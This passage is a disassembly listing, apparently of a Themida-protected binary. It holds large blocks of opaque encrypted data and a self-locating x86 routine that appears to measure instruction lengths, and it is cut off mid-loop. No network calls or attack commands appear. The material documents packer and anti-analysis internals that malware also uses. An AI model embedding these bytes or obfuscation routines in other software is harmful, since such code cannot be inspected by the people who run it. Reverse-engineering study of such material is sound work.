		dd 0BAA35F4Bh, 9F55242Bh, 8E659A2h, 182E9h, 53006A00h
		dd 3E8h, 0C35B2000h, 245C895Bh,	24448104h, 1C04h, 0C3534300h
		dd 29C9C20Ah, 619D3521h, 1C8C0F4Ah, 60000000h, 14E8h, 69FD4F00h
		dd 0D44B0FF5h, 56699C11h, 5B61DCB0h, 0A58FD808h, 8D615B37h
		dd 1778C2B5h, 52006A06h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h
		dd 1A04h, 0C3524200h, 3972F59Ah, 0E9D82102h, 8,	5D7B884Bh
		dd 3CA8D13Fh, 4986858Dh, 66600615h, 14E9D88Bh, 66000000h
		dd 0BE682420h, 8E3E84D9h, 4EDC27E1h, 7CA5B258h,	61055E29h
		dd 0E860D0FFh, 14h, 0F3CC9857h,	0D50490h, 1E7EECC1h, 49D822D5h
		dd 35A8D056h, 72B45FF5h, 6AC361h, 3E857h, 5F200000h, 7C895FC3h
		dd 44810424h, 1B0424h, 57470000h, 0B355D0C3h, 0E6A64452h
		dd 18D0F0Fh, 0FC000000h, 0BE9h,	3A087D00h, 0F1756AF4h
		dd 349BBE9Ah, 6AD98C66h, 3E85500h, 20000000h, 895DC35Dh
		dd 8104246Ch, 1A042444h, 45000000h, 14C4C355h, 5FF9BF17h
		dd 60F86001h, 8C0Fh, 61610000h,	8E9h, 0F5E9CB00h, 0AF89788Fh
		dd 4C1F650h, 39840Fh, 8BF80000h, 32CB8BFBh, 0FD75AEC0h
		dd 0D9F7CF2Bh, 0D78BF92Bh, 0EBD98B49h, 3F20CD00h, 0B000101h
		dd 8D1874C0h, 0FA8B0C70h, 75A6CB8Bh, 0FA75490Ah, 1B8h
		dd 8B09EB00h, 0B8E4EB00h, 0
		dd 0C7F9F8CFh, 17792185h, 1013F06h, 60EB00h, 17h dup(0)
		dd 0E9000000h, 0A8Bh, 0A7FE9h, 811F6800h, 36E90617h, 68FFFB06h
		dd 6178263h, 0FB062CE9h, 82CA68FFh, 22E90617h, 0ECFFFB06h
		dd 0FFEF8DF9h, 1303A10Bh, 2B1BB91Bh, 4131CF35h,	0D946E44Ch
		dd 0AF170C7Eh, 0C62A2111h, 0DF3F3828h, 0F9575141h, 8AFB5C5Bh
		dd 76008062h, 5C045669h, 73A62D3h, 0F3416FE9h, 56BAB189h
		dd 1C14EA53h, 0A29250BAh, 0B9A947ABh, 0A85E61BFh, 964C4FAFh
		dd 82383B9Fh, 0A47A258Dh, 0FBDE48AEh, 0E5E85045h, 0D0D3392Fh
		dd 0BDC0221Ah, 50491307h, 0FF97EDF0h, 0CD2193FCh, 240F7E0Fh
		dd 5853D03Ah, 28AD1EC9h, 0D969FF79h, 87DF0778h,	0A0EE7600h
		dd 93875D08h, 0F6F68B29h, 1B4FC06Bh, 2A760087h,	8921857Ch
		dd 50471D86h, 874068D9h, 14F7600h, 2D27FF69h, 0FDD31CFh
		dd 45BB715h, 0E6616AEAh, 0C7FB0952h, 0C4EC5DA3h, 0CB6FE985h
		dd 151E57Dh, 1B903ABCh,	69D12DC5h, 86C30A15h, 2698D51Dh
		dd 0A240B509h, 274FC0ECh, 366CE939h, 0ADE650E8h, 46h, 0E2616A53h
		dd 9676137h, 0D35C639Fh, 7B1D94Ah, 6AB86FE9h, 7658D00h
		dd 0C6746FE9h, 16686BCFh, 0B7E0D1A9h, 524AE2D7h, 0B661F959h
		dd 1B85E9E0h, 0F225CDFh, 5555B11Bh, 1D2019h, 0A97F0000h
		dd 0F84E51AFh, 616A528Eh, 0EB5C86E2h, 6FE907C3h, 5C3A9624h
		dd 0B11B0F22h, 5C195555h, 0C22C8E86h, 10BB4645h, 0FB043E9Fh
		dd 0FE014F69h, 0FB0C81ADh, 0E0B975h, 2F7FD52Ch,	1421CDEh
		dd 0EA730000h, 0FB005179h, 0A00A5875h, 0DF626A64h, 793C334h
		dd 4C9A6FE9h, 3B999349h, 2F24FA9Dh, 0F215DC7h, 45BB715h
		dd 0D063299Bh, 37B40E14h, 616A91CDh, 156986E2h,	1D86C30Ah
		dd 0E62698D5h, 0D6A09789h, 2D3069D3h, 0D6000000h, 8A82616Ah
		dd 5C349028h, 0E907C3EBh, 0D17CCA6Fh, 795AC25Fh, 87213C5h
		dd 0F225CCCh, 3006B11Bh, 2E6AD43Ah, 2B201955h, 0CE000000h
		dd 86E2616Ah, 7C3EB5Ch,	951E6FE9h, 0E907FC24h, 31A2036Fh
		dd 6FE90709h, 322AC210h, 0E66BD53Dh, 225CFC58h,	55B11B0Fh
		dd 626A1955h, 87C334DFh, 966FE907h, 958F4548h, 0F459937h
		dd 45BB715h, 62D35CEAh,	6FE9073Ah, 0C89F341h, 69288403h
		dd 86C30A15h, 40EAD51Dh, 90000000h, 86E2616Ah, 3A62D35Ch
		dd 416FE907h, 8DFE89F3h, 6FE90765h, 96FCF2C8h, 0AA9F4D2Ch
		dd 51E93F42h, 23EA5CF5h, 0DE9C5AB8h, 0F117BACDh, 0ED85DBD2h
		dd 0FBEF883h, 5555B11Bh, 2C2019h, 5CCE0000h, 73A62D3h
		dd 0F3416FE9h, 84030C89h, 0C3EB5C28h, 246FE907h, 0D35C3A96h
		dd 0A0A305FDh, 8C8FF3EAh, 0F8349E36h, 55B11B0Fh, 0BE201955h
		dd 0CE000000h, 92E3626Ah, 0D6B6559h, 1520B40Ah,	0FDA840A6h
		dd 45A59E74h, 8A3868DBh, 9576FE9h, 0F8565006h, 150F065Ah
		dd 865C5BB7h, 0D42A2D8Dh, 6A6D876Ah, 365ECF61h,	4C6FE907h
		dd 9AF0F353h, 59B54D9Bh, 2E90865Ch, 0B98E28DFh,	0EA54EC36h
		dd 0C30A186Ch, 0EAD51D86h, 41h,	0E2616A90h, 0C3EB5C86h
		dd 1E6FE907h, 84EE5048h, 5CFB57A5h, 5F7926EAh, 21926AF2h
		dd 6FE9BDF9h, 0B01AB200h, 1B0FEB25h, 865C55B1h,	0C22B2E8Ch
		dd 0E9072951h, 4AE2306Fh, 20124EE0h, 25h, 0E2616ACEh, 8686137h
		dd 9304AF05h, 6FE9076Bh, 7EBA2472h, 7C3EB5Ch, 96246FE9h
		dd 0F225C3Ah, 5555B11Bh, 0B7150F19h, 7D754BB4h,	0E0D9B11Bh
		dd 693FE280h, 6189FA73h, 686FE907h, 4018821Ah, 7CE5E846h
		dd 2DA37C0Ah, 0E8525525h, 0E9874B75h, 769616Fh,	0F5554E04h
		dd 453F09FDh, 0F68EE4E7h, 3E1ED7F3h, 977736CFh,	0D270CEC8h
		dd 878AE8E2h, 3BBC796Fh, 4077165h, 0C3A344AEh, 0FE9CFAF4h
		dd 2B91855Bh, 0F775BEC6h, 0A20CA45Ah, 0F09B2625h, 0FB841E7Fh
		dd 76216F69h, 0BF30ABA0h, 75FB8C97h, 0BDC058A6h, 0C91AFD67h
		dd 75FB8C9Dh, 481CFCD5h, 0DE2FFFF1h, 2138h, 150FDE00h
		dd 12830CB7h, 6FE907EAh, 5639A3F1h, 0E907DD05h,	0B393526Fh
		dd 0EE8CEAE4h, 197F754Bh, 150F73AFh, 12830CB7h,	6FE907EAh
		dd 5639A3F1h, 0C671F0FBh, 7A4CC3Dh, 8EFF6FE9h, 6FE90766h
		dd 0DA282775h, 0A374E570h, 0EA69FE7Fh, 751DC0A0h, 6FED349h
		dd 4FA5A812h, 898419B7h, 0F0C64FFAh, 0B72A94FAh, 70120A56h
		dd 0E911820Bh, 0F06FEE0Ah, 0AB5938A2h, 0FA5053B1h, 0E20E5F62h
		dd 1A6FEE0Ah, 368D6141h, 7DD8227Eh, 34h, 90865C23h, 67D1272Ah
		dd 0B45FE2EAh, 8184E6DEh, 0C536C12Bh, 6FE9078Dh, 0EDC36EBCh
		dd 368C8FF9h, 736B41CCh, 7658DFEh, 26746FE9h, 1211F08Eh
		dd 0BF000000h, 34DF626Ah, 0E90787C3h, 9D48966Fh, 0CF6DCFC7h
		dd 1B3207Bh, 6ACE0000h,	482DE6Dh, 79A1129Bh, 806FE907h
		dd 0F8CC832h, 695BB715h, 86C30A15h, 0C298D51Dh,	0C4FD67CBh
		dd 7Ah,	0EC4C451Bh, 6D6A4682h, 0EB5C82DEh, 6FE907C3h, 0EF4F481Eh
		dd 0DC3E36ECh, 81EB83D9h, 0D02458A2h, 0D287A561h, 0DB35C3Eh
		dd 23BB0388h, 44AEA278h, 225C9EDAh, 0D294EA5Ch,	70046C61h
		dd 49B3EA82h, 6C177971h, 3D4A72E3h, 3516FE9h, 3DBFE758h
		dd 80CE6FE9h, 0EA5CDA16h, 8D5F9126h, 0BA4CB6D2h, 361592Fh
		dd 49C1038Ah, 6366FE45h, 0BB1D150Dh, 0BCF862B8h, 2920h
		dd 865CCE00h, 46C32D8Dh, 5C5EBA49h, 9F09FDD3h, 79AC235h
		dd 83F56FE9h, 4C644237h, 0E93FDDDh, 225C2480h, 59B5170Fh
		dd 150F1955h, 0F6F96357h, 4AC08A0h, 0BAEA5CEAh,	0DE32EBC0h
		dd 8D7EFB65h, 0A43C9E96h, 0A156948h, 0D51D86C3h, 57EAh
		dd 776B4100h, 0C9F1620Dh, 0D06CE907h, 5CDC1882h, 73A62D3h
		dd 0F3416FE9h, 84030C89h, 4CEA5C28h, 51D9FD6Fh,	1099248Eh
		dd 76E0423Ah, 0E98BDB03h, 3CAD366Fh, 6FE98B14h,	8463CD1Bh
		dd 777AE0D6h, 5C2D8921h, 0B11B0F22h, 20195555h,	4Ch, 4BB5A97Fh
		dd 4C88F248h, 2991865Ch, 5A4942BFh, 0E152FD65h,	6FE907B9h
		dd 7EDA72C0h, 2D8D865Ch, 177F742Ah, 0BC26BE14h,	798C031h
		dd 73016FE9h, 0FCEA5C17h, 2DA6ADA2h, 0A2DC67D1h, 58511B0Fh
		dd 79FF5F8h, 8C865CABh,	0F632C42Eh, 1B8C865Ch, 0E90782AAh
		dd 0A33B896Fh, 0E34DB7ABh, 0AFB2120Bh, 0E907315Eh, 1EFE7F6Fh
		dd 72E3564Fh, 6FE9074Ah, 0CD6B0351h, 0B6160F79h, 4404FDB3h
		dd 5154EC4Ah, 0CD9C7C35h, 4BD674D4h, 6FE90CDEh,	1B1E7C76h
		dd 0F9822DC5h, 0E9116088h, 0CCC16F6Fh, 730B6164h, 1C1F857Bh
		dd 2B7F5CC6h, 6ED81D89h, 0FFFFFE13h, 0A3CB3CC5h, 0AA6FE909h
		dd 74B6F25Ch, 6FE90748h, 0E90717C3h, 767926Fh, 0B6E26FE9h
		dd 316FE907h, 6FE90705h, 0E9075480h, 0BD2EB7AFh, 2FE90795h
		dd 0C446970Fh, 9C9B5AEAh, 0A32A34Eh, 112FE996h,	0D1DC59C3h
		dd 0F936A752h, 5C29FE8Dh, 171E7EEAh, 9C06CA4Dh,	36C6FBDh
		dd 7770382Dh, 267C7F17h, 0B54C3FBCh, 1F48990Ah,	0B361300Fh
		dd 0FC5255BFh, 92E67264h, 7E61B942h, 27CD9h, 0CF3B2E00h
		dd 0E34D4131h, 0FB5D5545h, 11776D5Dh, 268E8373h, 4EBC1B88h
		dd 6353F159h, 7A6A086Ch, 93832181h, 9E9D3B99h, 88A4CC3Dh
		dd 98AB7600h, 0B7150F46h, 0D941360Ch, 3A318C6Fh, 0B68BFCA7h
		dd 0D769FE7Fh, 1208DE89h, 39C442ACh, 7600800Dh,	9E948F7Eh
		dd 0BBE33538h, 5D1BF093h, 731EB64Eh, 16198902h,	0ECE29070h
		dd 6D43EE86h, 87771573h, 0FB842F8Dh, 0E9E7628Ah, 137B706Fh
		dd 0A706614h, 0BC250872h, 248EECE6h, 0E9E77DB1h, 68FFEE6Fh
		dd 2952611Bh
		dd 19C45C61h, 0FF3BCBA8h, 41EC3A69h, 7513716Bh,	822D8B85h
		dd 8FFFDA10h, 50BA6A89h, 8C1B126Dh, 5EA9EB3h, 0F94034A9h
		dd 3282050Dh, 0CE57029Ah, 5F355Dh, 8CF64476h, 0D7BF9001h
		dd 80CE7015h, 382B227Dh, 6FD8DB43h, 0E928D6FEh,	0FF97E56Fh
		dd 5D33BC67h, 0A7FD0068h, 0A145CA3Dh, 0B60469FEh, 0DD3B350Bh
		dd 0F7554F3Fh, 0BC198BF4h, 0AF79EBF5h, 935A812h, 7A760090h
		dd 0D445F073h, 7015E8FFh, 62BDC00Eh, 0BC2DD86Bh, 69FB3C73h
		dd 635A9C0Eh, 6D683A0Fh, 59DA2403h, 0A5D9104Ch,	0DC59A990h
		dd 7A21CF48h, 0AC66F0E2h, 0F2D57335h, 1384Dh, 137F7200h
		dd 27918575h, 3FA19989h, 55BBB1A1h, 6AD2C7B7h, 92005FCCh
		dd 0A797359Dh, 0BEAE4CB0h, 0D7C765C5h, 0E2E17FDDh, 89E81081h
		dd 0E4F77600h, 0E0636A92h, 7FEFC435h, 0F03E69FEh, 0B5AE84EDh
		dd 9A9DFBF5h, 0C542AC44h, 7903BC6h, 80E50D7Eh, 0A6F47600h
		dd 96FCC93Ch, 0BF0D7012h, 43487FCDh, 20C5A879h,	0D1h, 0DC7AE6D9h
		dd 0F08EF8ECh, 8A60800h, 1EBC2218h, 33D1392Eh, 4F96BC6h
		dd 170EFE9Ch, 2C2515B3h, 443E2ECCh, 0E84948E6h,	894F77h
		dd 0F94B5E76h, 35E0636Ah, 0FE7FE7C4h, 0E5E83669h, 4AB0A67Ch
		dd 0B00E08E0h, 0A2996F12h, 0EC4E463Eh, 512993E9h, 9BF6F957h
		dd 0F5661190h, 7015F97Ch, 0B1A13F8Dh, 0C5B553BDh, 0DDCD6BCDh
		dd 64D681E7h, 2A1FABD6h, 0DB8C2EC2h, 0E1D14FB9h, 43E684ECh
		dd 0D10786Dh, 80754DB7h, 65D77A18h, 0E793B3E4h,	0A2989044h
		dd 3FAD23Ch, 1811019Fh,	9F0C34A5h, 0C5136FE9h, 9F81A91Ah
		dd 3A886FE9h, 8B6104A2h, 0D82E3193h, 3E9C966Eh,	55B9B0A0h
		dd 982B22B7h, 18037CEDh, 0BC0A69FFh, 0AB0903B9h, 32E0Dh
		dd 95DC0000h, 0B01C0F59h, 9FFDF7ADh, 8DEDE69Ch,	79DDD48Ah
		dd 63CBC076h, 4DB5AA60h, 389E944Ah, 25877F35h, 0E786C22h
		dd 54504D0Bh, 40558h, 0E8830000h, 24048704h, 4177685Ch
		dd 3C890000h, 0E0895024h, 405h,	42D00h,	4870000h, 2C895C24h
		dd 0DDBE5624h, 50061779h, 0C789F089h, 7C685E58h, 8900003Ch
		dd 4832424h, 685D0424h,	1D1h, 8F243C89h, 2C8B0845h, 0E0895024h
		dd 405h, 40500h, 4870000h, 3C8B5C24h, 0E3895324h, 4C381h
		dd 0C3830000h, 241C8704h, 0FBC3E95Ch, 4BE7FFFAh, 1783C0B8h
		dd 8BC50306h, 5E8C3h, 4FEC0000h, 0F5EA5470h, 0F2BF0F59h
		dd 6178C181h, 11E90000h, 0B7000000h, 0FAC59408h, 78A726D5h
		dd 720987F1h, 0D3DDC4E5h, 182B68h, 0F6BF0F00h, 0C5B8665Bh
		dd 0F31FF10h, 481h, 61605000h, 0F2815F5Ah, 2E3A11h, 256BEF81h
		dd 0F60012Ch, 389h, 5FF18000h, 6BFB56B8h, 0EF816103h, 33B42D8h
		dd 18F781F5h, 665958D9h, 3989F78Bh, 0E9835BB2h,	0DE904h
		dd 0AD310000h, 64CB702Ch, 8199BC4Dh, 4B8F8623h,	26850Fh
		dd 13E90000h, 2F000000h, 0F2E5D8CEh, 8BC31278h,	90737A60h
		dd 18E28784h, 27E9623Fh, 0B000000h, 5C10C412h, 0C7F99717h
		dd 5C9B58BEh, 0FF77E94Bh, 0A321FFFFh, 0BFB93694h, 84572B2Bh
		dd 978D792Ch, 0A0730A8Fh, 8D8D193Dh, 61785ADh, 82FCCABBh
		dd 0A18D8917h, 52061209h, 302D9D89h, 0C7580612h, 12050585h
		dd 5C5406h, 95858900h, 0C7061216h, 121BD985h, 6, 53006A00h
dword_59EF68	dd 3E8h, 0C35B2000h, 245C895Bh,	24448104h, 1404h, 0C3534300h
					; DATA XREF: Themida_:0055C187o
		dd 6800F93h, 89000000h,	12078985h, 0B9B5FF06h, 8B06122Dh
		dd 95FFFCFBh, 6121B31h,	0E855006Ah, 3, 5DC35D20h, 4246C89h
		dd 4244481h, 18h, 0EDC35545h, 17FF6DA5h, 95FF006Ah, 61219CDh
		dd 4FEBC08Bh, 0D97430A0h, 532A43A2h, 0B6C2D9D4h, 0FE5EA07Eh
		dd 0A62ED66Eh, 852B41B8h, 4395080Eh, 1B2A3B87h,	8C92392h
		dd 0ACD8CF46h, 1E2FCEBCh, 0E902B114h, 55FA455Eh, 0B167FD15h
		dd 75D18293h, 0A7020FB6h, 0B1D83A94h, 0A537E61Eh, 32D9246Fh
		dd 8DC12D8Eh, 1786AE8Dh, 57006A06h, 3E8h, 0C35F2000h, 247C895Fh
		dd 24448104h, 1904h, 0C3574700h, 283321FFh, 0D7802E0Ch
		dd 0A18D8949h, 6A061209h, 3E85100h, 20000000h, 8959C359h
		dd 8104244Ch, 15042444h, 41000000h, 13ACC351h, 3011B50Bh
		dd 85C70612h, 6120505h,	5F04h, 740AF781h, 85C73FB6h, 6121BD9h
		dd 0
		dd 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 1Ch, 33C35141h
		dd 0AA51537Dh, 0F2FC7718h, 2C81B5FFh, 0F7800612h, 3195FF7Fh
		dd 8906121Bh, 121F818Dh, 0FF006A06h, 1219CD95h,	0EBC08B06h
		dd 2A467D6Dh, 4E014CF8h, 0E27EE82Bh, 1CFFAC69h,	0BF4A0BECh
		dd 0CE44BAF2h, 58E050A7h, 70FD7444h, 0DCD18B12h, 0C374A2B0h
		dd 0BBAC6505h, 34B9BD4Eh, 9036DDB9h, 3B0711E1h,	0CBAEAAAh
		dd 1AEE9CA0h, 32B532D6h, 4BFA1BD2h, 9AFB91h, 0FF921F1Ch
		dd 1C3AE0E2h, 16477719h, 0F89367AFh, 0BEDBD0BFh, 70CCA76Ah
		dd 4E77DA2Bh, 45EDF801h, 66E970F7h, 60000002h, 0F6D98C66h
		dd 840F04C1h, 35h, 0B5FF016Ah, 61203B1h, 7F35858Dh, 0D0FF0615h
		dd 1958589h, 0FE8B0612h, 680CEFC1h, 20060000h, 26A006Ah
		dd 0D6857h, 95FF0001h, 6120195h, 32E9h,	7185C600h, 56061228h
		dd 0C530DF68h, 0E9B5FFA9h, 8D061230h, 157F3585h, 89D0FF06h
		dd 1201C185h, 0FD858D06h, 50061206h, 56A406Ah, 0C195FF56h
		dd 61061201h, 0C3h, 2 dup(0)
		dd 0D48B5200h, 8428B60h, 87A38589h, 428B0617h, 9B85890Ch
		dd 8B061787h, 85891042h, 617879Fh, 87D9B58Dh, 858D0617h
		dd 5B8EA1h, 5A61D0FFh, 8B000CC2h, 1787A3B5h, 9B858B06h
		dd 83061787h, 17879FBDh, 840F0006h, 7, 2E90689h, 88000000h
		dd 0CF06h, 0
		dd 8B520000h, 428B60D4h, 0A3858908h, 8D061787h,	17882AB5h
		dd 0A1858D06h, 0FF005B8Eh, 8B5A61D0h, 1787A385h, 4C206h
		dd 87A3858Bh, 8B0617h, 87A38589h, 0CF0617h, 60000000h
		dd 8800B589h, 85890617h, 61787FCh, 212D858Dh, 408B0612h
		dd 39858944h, 8D061788h, 17886FB5h, 0A1858D06h,	0FF005B8Eh
		dd 858B61D0h, 6178800h,	0FC9D8BC3h, 0F061787h, 33C43B7h
		dd 785B8BD8h, 87FC9D03h, 738B0617h, 0FCB50324h,	56061787h
		dd 8B207B8Bh, 0BD031C73h, 61787FCh, 87FCB503h, 83FC0617h
		dd 8B41FFC9h, 1788009Dh, 3178B06h, 1787FC95h, 4C78306h
		dd 0C084028Ah, 0F840Fh,	33A0000h, 0FFDC850Fh, 4243FFFFh
		dd 0FFFFE7E9h, 0F033AFFh, 0FFFFCD85h, 0E1D15FFFh, 0F04B70Fh
		dd 386048Bh, 1787FC85h,	858906h, 8B061788h, 8BCE8BF0h
		dd 39BD81C1h, 61788h, 0FC03000h, 0D85h,	14E8C100h, 0FFC25h
		dd 8E900h, 0E8C10000h, 3FF82512h, 0BD8B0000h, 6178839h
		dd 6070C83h, 8B07148Bh,	3C8124C2h, 0FC18B81h, 5784h, 39BD8100h
		dd 61788h, 0FC03000h, 0D85h, 0AE8C100h,	3FFFFC25h, 8E900h
		dd 0E8C10000h, 0FFF82509h, 2D007Fh, 83400000h, 0F70608h
		dd 80h,	1E840Fh, 0BD810000h, 6178839h, 0C0300000h, 0E840Fh
		dd 0F8250000h, 8B00003Fh, 60000080h, 60883C0h, 0A7858DCFh
		dd 89061787h, 1203C185h, 3D858D06h, 89061788h, 12047D85h
		dd 4858D06h, 89061788h,	12012185h, 1C8E906h, 88880000h
		dd 7 dup(88880041h), 41h, 3 dup(0)
		dd 88000000h, 91C40000h, 11110000h, 11111111h, 99C91111h
		dd 88888888h, 8888h, 6000000h, 44440000h, 410000h, 11110000h
		dd 44441111h, 2994444h,	203C988h, 88880010h, 88880011h
		dd 11118888h, 16441111h, 0
		dd 8800h, 88888800h, 0
		dd 88880080h, 88888h, 88880000h, 88880808h, 8888h, 0
		dd 88880000h, 88888888h, 88808888h, 3 dup(88888888h), 99998800h
		dd 888h, 44448800h, 44444444h, 88884444h, 88888888h, 80008888h
		dd 80000099h, 88888899h, 89008888h, 88888888h, 8999h, 88800000h
		dd 88888088h, 88888888h, 88888088h, 88808888h, 88888888h
		dd 2E260888h, 65643E36h, 0F2F06766h, 0F3h, 0FFFF0000h
		dd 16E6FFFFh, 16FA0040h, 40h, 0
		dd 10000h, 14h dup(0)
		dd 80C30000h, 7577ED63h, 10000h, 11h dup(0)
		dd 53E90000h, 55000003h, 0E8h, 0ED815D00h, 6178B87h, 0D485C760h
		dd 6178Ah, 66000000h, 0A1663E81h, 0F850Fh, 85C70000h, 6178AD8h
		dd 6, 24E9h, 0DC858D00h, 5006178Ah, 8B2C858Dh, 56500617h
		dd 1DE8006Ah, 83000000h, 0FF2510C4h, 89000000h,	178AD885h
		dd 0B5036106h, 6178AD8h, 8AD4858Bh, 0C35D0617h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		and	byte ptr [ebp-5], 0
		and	byte ptr [ebp-6], 0
		xor	dl, dl
		and	[ebp-1], dl
		cmp	dword ptr [ebp+8], 0
		jz	loc_59F629
		mov	byte ptr [ebp-4], 2
		mov	byte ptr [ebp-3], 0FEh
		mov	byte ptr [ebp-2], 1
		jmp	loc_59F635
; ---------------------------------------------------------------------------


loc_59F629:				; CODE XREF: Themida_:0059F612j
		and	byte ptr [ebp-3], 0
		and	byte ptr [ebp-2], 0
		mov	byte ptr [ebp-4], 4


loc_59F635:				; CODE XREF: Themida_:0059F624j
		push	ebx
		push	esi
		push	edi


loc_59F638:				; CODE XREF: Themida_:0059F68Dj
					; Themida_:0059F6A9j ...
		mov	edi, [ebp+0Ch]
		mov	esi, [ebp+10h]
		movzx	ecx, dl
		inc	dl
		mov	al, [edi+ecx]
		mov	[esi+ecx], al
		xor	cl, cl


loc_59F64B:				; CODE XREF: Themida_:0059F672j
		movzx	ebx, cl
		push	ebp
		call	$+5
		pop	ebp
		sub	ebp, 6178C3Eh
		lea	ebp, [ebp+6178AB4h]
		add	ebp, ebx
		cmp	[ebp+0], al
		pop	ebp
		jz	loc_59F678
		inc	cl
		cmp	cl, 0Bh
		jb	loc_59F64B


loc_59F678:				; CODE XREF: Themida_:0059F667j
		cmp	cl, 0Bh
		jz	loc_59F6D5
		cmp	al, 66h
		jnz	loc_59F6B6
		cmp	byte ptr [ebp-5], 0
		jnz	loc_59F638
		cmp	byte ptr [ebp-3], 0
		mov	byte ptr [ebp-5], 1
		jnz	loc_59F6AE
		mov	byte ptr [ebp-4], 2
		mov	byte ptr [ebp-3], 0FEh
		jmp	loc_59F638
; ---------------------------------------------------------------------------


loc_59F6AE:				; CODE XREF: Themida_:0059F69Bj
		and	byte ptr [ebp-3], 0
		mov	byte ptr [ebp-4], 4


loc_59F6B6:				; CODE XREF: Themida_:0059F683j
		cmp	al, 67h
		jnz	loc_59F638
		cmp	byte ptr [ebp-6], 0
		jnz	loc_59F638
		xor	byte ptr [ebp-2], 1
		mov	byte ptr [ebp-6], 1
		jmp	loc_59F638
; ---------------------------------------------------------------------------


loc_59F6D5:				; CODE XREF: Themida_:0059F67Bj
		mov	ebx, [ebp+14h]
		mov	cl, dl
		dec	cl
		cmp	al, 0Fh
		mov	[ebx], cl
		jnz	loc_59F701
		movzx	ecx, dl
		inc	dl
		mov	al, [edi+ecx]
		movzx	edi, al
		shr	edi, 1
		mov	[esi+ecx], al
		add	edi, 80h
		jmp	loc_59F706
; ---------------------------------------------------------------------------


loc_59F701:				; CODE XREF: Themida_:0059F6E0j
		movzx	edi, al
		shr	edi, 1


loc_59F706:				; CODE XREF: Themida_:0059F6FCj
		push	ebp
		call	$+5
		pop	ebp
		sub	ebp, 6178CF6h
		lea	ebp, [ebp+61789B4h]
		add	ebp, edi
		mov	bl, [ebp+0]
		pop	ebp
		mov	cl, al
		and	cl, 1
		mov	[ebp-7], cl
		shl	cl, 2
		shr	bl, cl
		test	bl, 8
		mov	[ebp-6], bl
		jz	loc_59F888
		mov	ebx, [ebp+0Ch]
		mov	byte ptr [ebp+0Bh], 1
		movzx	ecx, dl
		inc	dl
		mov	bl, [ebx+ecx]
		mov	[ebp+17h], dl
		mov	dl, bl
		mov	[esi+ecx], bl
		and	dl, 7
		movzx	ecx, bl
		cmp	dl, 4
		setz	byte ptr [ebp-5]
		shr	ecx, 6
		sub	ecx, 0
		jz	loc_59F7CC
		dec	ecx
		jz	loc_59F7AF
		dec	ecx
		jnz	loc_59F81F
		cmp	byte ptr [ebp-2], 0
		jnz	loc_59F81B
		cmp	byte ptr [ebp-5], 0
		jz	loc_59F78E
		mov	byte ptr [ebp+0Bh], 2


loc_59F78E:				; CODE XREF: Themida_:0059F784j
		add	byte ptr [ebp+0Bh], 4
		push	ebp
		call	$+5
		pop	ebp
		sub	ebp, 6178D82h
		mov	dword ptr [ebp+6178AD4h], 1
		pop	ebp
		jmp	loc_59F81F
; ---------------------------------------------------------------------------


loc_59F7AF:				; CODE XREF: Themida_:0059F769j
		cmp	byte ptr [ebp-2], 0
		jnz	loc_59F7F9
		cmp	byte ptr [ebp-5], 0
		jz	loc_59F7F9
		mov	byte ptr [ebp+0Bh], 2
		jmp	loc_59F7F9
; ---------------------------------------------------------------------------


loc_59F7CC:				; CODE XREF: Themida_:0059F762j
		cmp	byte ptr [ebp-2], 0
		jnz	loc_59F812
		cmp	byte ptr [ebp-5], 0
		jz	loc_59F801
		movzx	ecx, byte ptr [ebp+17h]
		mov	edx, [ebp+0Ch]
		mov	cl, [edx+ecx]
		and	cl, 7
		cmp	cl, 5
		jnz	loc_59F7F9
		mov	[ebp+0Bh], cl


loc_59F7F9:				; CODE XREF: Themida_:0059F7B3j
					; Themida_:0059F7BDj ...
		inc	byte ptr [ebp+0Bh]
		jmp	loc_59F81F
; ---------------------------------------------------------------------------


loc_59F801:				; CODE XREF: Themida_:0059F7DAj
		cmp	dl, 5
		jnz	loc_59F81F
		mov	[ebp+0Bh], dl
		jmp	loc_59F81F
; ---------------------------------------------------------------------------


loc_59F812:				; CODE XREF: Themida_:0059F7D0j
		cmp	dl, 6
		jnz	loc_59F81F


loc_59F81B:				; CODE XREF: Themida_:0059F77Aj
		mov	byte ptr [ebp+0Bh], 3


loc_59F81F:				; CODE XREF: Themida_:0059F770j
					; Themida_:0059F7AAj ...
		dec	byte ptr [ebp+0Bh]
		jz	loc_59F84D
		movzx	ecx, byte ptr [ebp+0Bh]
		mov	[ebp+8], ecx


loc_59F82F:				; CODE XREF: Themida_:0059F845j
		movzx	esi, byte ptr [ebp+17h]
		mov	ecx, [ebp+0Ch]
		mov	edx, [ebp+10h]
		inc	byte ptr [ebp+17h]
		dec	dword ptr [ebp+8]
		mov	cl, [ecx+esi]
		mov	[edx+esi], cl
		jnz	loc_59F82F
		mov	esi, edx


loc_59F84D:				; CODE XREF: Themida_:0059F822j
		and	al, 0FEh
		cmp	al, 0F6h
		jnz	loc_59F882
		cmp	edi, 7Fh
		ja	loc_59F882
		test	bl, 38h
		jnz	loc_59F882
		cmp	byte ptr [ebp-7], 0
		jz	loc_59F87C
		movzx	eax, byte ptr [ebp-4]
		jmp	loc_59F87F
; ---------------------------------------------------------------------------


loc_59F87C:				; CODE XREF: Themida_:0059F86Dj
		push	1
		pop	eax


loc_59F87F:				; CODE XREF: Themida_:0059F877j
		mov	[ebp-1], al


loc_59F882:				; CODE XREF: Themida_:0059F851j
					; Themida_:0059F85Aj ...
		mov	dl, [ebp+17h]
		mov	bl, [ebp-6]


loc_59F888:				; CODE XREF: Themida_:0059F732j
		mov	al, bl
		and	eax, 7
		sub	eax, 4
		jz	loc_59F8B3
		dec	eax
		dec	eax
		jz	loc_59F8A9
		and	bl, 7
		add	[ebp-1], bl
		jmp	loc_59F8BB
; ---------------------------------------------------------------------------


loc_59F8A9:				; CODE XREF: Themida_:0059F898j
		mov	al, [ebp-3]
		add	al, 6
		jmp	loc_59F8B8
; ---------------------------------------------------------------------------


loc_59F8B3:				; CODE XREF: Themida_:0059F890j
		mov	al, [ebp-3]
		add	al, 4


loc_59F8B8:				; CODE XREF: Themida_:0059F8AEj
		add	[ebp-1], al


loc_59F8BB:				; CODE XREF: Themida_:0059F8A4j
		mov	al, [ebp-1]
		dec	byte ptr [ebp-1]
		test	al, al
		jz	loc_59F8E3
		movzx	ecx, byte ptr [ebp-1]
		inc	ecx


loc_59F8CE:				; CODE XREF: Themida_:0059F8DDj
		mov	edi, [ebp+0Ch]
		movzx	eax, dl
		inc	dl
		dec	ecx
